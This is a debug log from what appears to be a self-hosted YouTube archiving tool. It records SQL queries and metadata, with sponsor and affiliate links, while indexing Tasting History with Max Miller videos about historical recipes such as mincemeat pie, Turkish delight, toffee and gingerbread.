02:51:36.964 [debug] QUERY OK source="sources" db=0.1ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:36.965 [debug] QUERY OK source="media_items" db=1.2ms idle=1.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-16 00:00:00Z], 3] 02:51:36.994 [debug] QUERY OK source="media_items" db=28.1ms idle=3.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to Bombas for sponsoring this video! Head to https://bombas.yt.link/0xWsLEg and use code tastinghistory20 at checkout for 20% off your first purchase.\n\nWatch GeanaVlogger’s video on my family history here - \u00A0\u00A0\u00A0•\u00A0From\u00A0Guerrilla\u00A0Fighter\u00A0to\u00A0U.S.\u00A0Citizen:\u00A0Ma...\u00A0\u00A0\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "World War 2 Mincemeat Pie for the Battle of the Bulge", "69dc565a-90a9-4de8-bd2c-004981281df6", "g3IAXRkyl1s", "https://www.youtube.com/watch?v=g3IAXRkyl1s", false, false, 16, "/downloads/Tasting History with Max Miller/2025-12-16 World War 2 Mincemeat Pie for the Battle of the Bulge/World War 2 Mincemeat Pie for the Battle of the Bulge [g3IAXRkyl1s].NA", false, false, 3, [], 98, ~U[2025-12-16 00:00:00Z], ~U[2026-03-30 06:51:36Z], ~U[2026-03-30 06:51:36Z], "Thank you to Bombas for sponsoring this video! Head to https://bombas.yt.link/0xWsLEg and use code tastinghistory20 at checkout for 20% off your first purchase.\n\nWatch GeanaVlogger’s video on my family history here - \u00A0\u00A0\u00A0•\u00A0From\u00A0Guerrilla\u00A0Fighter\u00A0to\u00A0U.S.\u00A0Citizen:\u00A0Ma...\u00A0\u00A0\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "World War 2 Mincemeat Pie for the Battle of the Bulge", "g3IAXRkyl1s", "https://www.youtube.com/watch?v=g3IAXRkyl1s", nil, false, "/downloads/Tasting History with Max Miller/2025-12-16 World War 2 Mincemeat Pie for the Battle of the Bulge/World War 2 Mincemeat Pie for the Battle of the Bulge [g3IAXRkyl1s].NA", false, 3, ~U[2025-12-16 00:00:00Z]] 02:51:36.994 [debug] QUERY OK source="sources" db=0.2ms idle=31.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:36.994 [debug] QUERY OK source="media_profiles" db=0.1ms idle=30.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:36.995 [debug] QUERY OK source="media_items" db=0.3ms idle=31.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4967] 02:51:36.995 [debug] Current batch of media processed. Will check again in 1000ms 02:51:37.996 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Our Place is having their biggest sale of the year - use my link to shop their Titanium Pro Cookware Set at the lowest price I’ve ever seen: https://fromourplace.com/products/tit...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nCulinary Grace Musk Flavoring - https://shop.perfumersapprentice.com/...\nSherbet & Spice by Mary Isin - https://amzn.to/49YJomZ\nBountiful Empire - https://amzn.to/4a05bL2\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #turkishdelight", "filename" => "/downloads/Tasting History with Max Miller/2025-12-09 What is Turkish Delight? How to make real Ottoman Turkish Delight#/What is Turkish Delight? How to make real Ottoman Turkish Delight. [MgswDy8PMAA].NA", "id" => "MgswDy8PMAA", "original_url" => "https://www.youtube.com/watch?v=MgswDy8PMAA", "playlist_index" => 17, "title" => "What is Turkish Delight? How to make real Ottoman Turkish Delight.", "upload_date" => "20251209"} 02:51:37.997 [debug] QUERY OK source="sources" db=0.2ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:37.997 [debug] QUERY OK source="sources" db=0.1ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:37.999 [debug] QUERY OK source="media_items" db=1.4ms idle=1002.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-09 00:00:00Z], 3] 02:51:38.001 [debug] QUERY OK source="media_items" db=1.2ms idle=1004.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Our Place is having their biggest sale of the year - use my link to shop their Titanium Pro Cookware Set at the lowest price I’ve ever seen: https://fromourplace.com/products/tit...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nCulinary Grace Musk Flavoring - https://shop.perfumersapprentice.com/...\nSherbet & Spice by Mary Isin - https://amzn.to/49YJomZ\nBountiful Empire - https://amzn.to/4a05bL2\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #turkishdelight", "What is Turkish Delight? How to make real Ottoman Turkish Delight.", "c16916c1-c26c-45e2-aab7-c05eeda37cd7", "MgswDy8PMAA", "https://www.youtube.com/watch?v=MgswDy8PMAA", false, false, 17, "/downloads/Tasting History with Max Miller/2025-12-09 What is Turkish Delight? How to make real Ottoman Turkish Delight#/What is Turkish Delight? How to make real Ottoman Turkish Delight. [MgswDy8PMAA].NA", false, false, 3, [], 98, ~U[2025-12-09 00:00:00Z], ~U[2026-03-30 06:51:37Z], ~U[2026-03-30 06:51:37Z], "Our Place is having their biggest sale of the year - use my link to shop their Titanium Pro Cookware Set at the lowest price I’ve ever seen: https://fromourplace.com/products/tit...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nCulinary Grace Musk Flavoring - https://shop.perfumersapprentice.com/...\nSherbet & Spice by Mary Isin - https://amzn.to/49YJomZ\nBountiful Empire - https://amzn.to/4a05bL2\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #turkishdelight", "What is Turkish Delight? How to make real Ottoman Turkish Delight.", "MgswDy8PMAA", "https://www.youtube.com/watch?v=MgswDy8PMAA", nil, false, "/downloads/Tasting History with Max Miller/2025-12-09 What is Turkish Delight? How to make real Ottoman Turkish Delight#/What is Turkish Delight? How to make real Ottoman Turkish Delight. [MgswDy8PMAA].NA", false, 3, ~U[2025-12-09 00:00:00Z]] 02:51:38.001 [debug] QUERY OK source="sources" db=0.2ms idle=299.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:38.002 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:38.002 [debug] QUERY OK source="media_items" db=0.2ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4489] 02:51:38.002 [debug] Current batch of media processed. Will check again in 1000ms 02:51:39.003 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Start speaking a new language in 3 weeks with Babbel 🎉. get Lifetime access for $199 during Babbelʼs Best Sale of the Year ➡ Here: https://bit.ly/TastingHistorywithMaxM...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2025-12-05 Making Real English Toffee from 1881/Making Real English Toffee from 1881 [7Z8MvxYovpk].NA", "id" => "7Z8MvxYovpk", "original_url" => "https://www.youtube.com/watch?v=7Z8MvxYovpk", "playlist_index" => 18, "title" => "Making Real English Toffee from 1881", "upload_date" => "20251205"} 02:51:39.004 [debug] QUERY OK source="sources" db=0.2ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:39.004 [debug] QUERY OK source="sources" db=0.1ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:39.006 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-05 00:00:00Z], 3] 02:51:39.014 [debug] QUERY OK source="media_items" db=7.3ms idle=1004.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Start speaking a new language in 3 weeks with Babbel 🎉. get Lifetime access for $199 during Babbelʼs Best Sale of the Year ➡ Here: https://bit.ly/TastingHistorywithMaxM...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Real English Toffee from 1881", "fb4dcd81-f1dd-4c69-a706-47a5a4e28aa4", "7Z8MvxYovpk", "https://www.youtube.com/watch?v=7Z8MvxYovpk", false, false, 18, "/downloads/Tasting History with Max Miller/2025-12-05 Making Real English Toffee from 1881/Making Real English Toffee from 1881 [7Z8MvxYovpk].NA", false, false, 3, [], 98, ~U[2025-12-05 00:00:00Z], ~U[2026-03-30 06:51:39Z], ~U[2026-03-30 06:51:39Z], "Start speaking a new language in 3 weeks with Babbel 🎉. get Lifetime access for $199 during Babbelʼs Best Sale of the Year ➡ Here: https://bit.ly/TastingHistorywithMaxM...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Real English Toffee from 1881", "7Z8MvxYovpk", "https://www.youtube.com/watch?v=7Z8MvxYovpk", nil, false, "/downloads/Tasting History with Max Miller/2025-12-05 Making Real English Toffee from 1881/Making Real English Toffee from 1881 [7Z8MvxYovpk].NA", false, 3, ~U[2025-12-05 00:00:00Z]] 02:51:39.014 [debug] QUERY OK source="sources" db=0.1ms idle=310.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:39.014 [debug] QUERY OK source="media_profiles" db=0.1ms idle=10.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:39.015 [debug] QUERY OK source="media_items" db=0.2ms idle=10.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4213] 02:51:39.015 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Use code TASTINGHISTORYFB50 to get 50% OFF your first Factor box plus free breakfast for 1 year at https://bit.ly/45yZqRU!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nIMAGES\nMace - By AntanO - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nSea Goat - By Marie-Lan Nguyen - Own work, Public Domain, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2025-12-02 Gingerbread for Washington's Army/Gingerbread for Washington's Army [vuoThloIEhs].NA", "id" => "vuoThloIEhs", "original_url" => "https://www.youtube.com/watch?v=vuoThloIEhs", "playlist_index" => 19, "title" => "Gingerbread for Washington's Army", "upload_date" => "20251202"} 02:51:39.015 [debug] QUERY OK source="sources" db=0.2ms idle=9.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:39.016 [debug] QUERY OK source="sources" db=0.1ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", 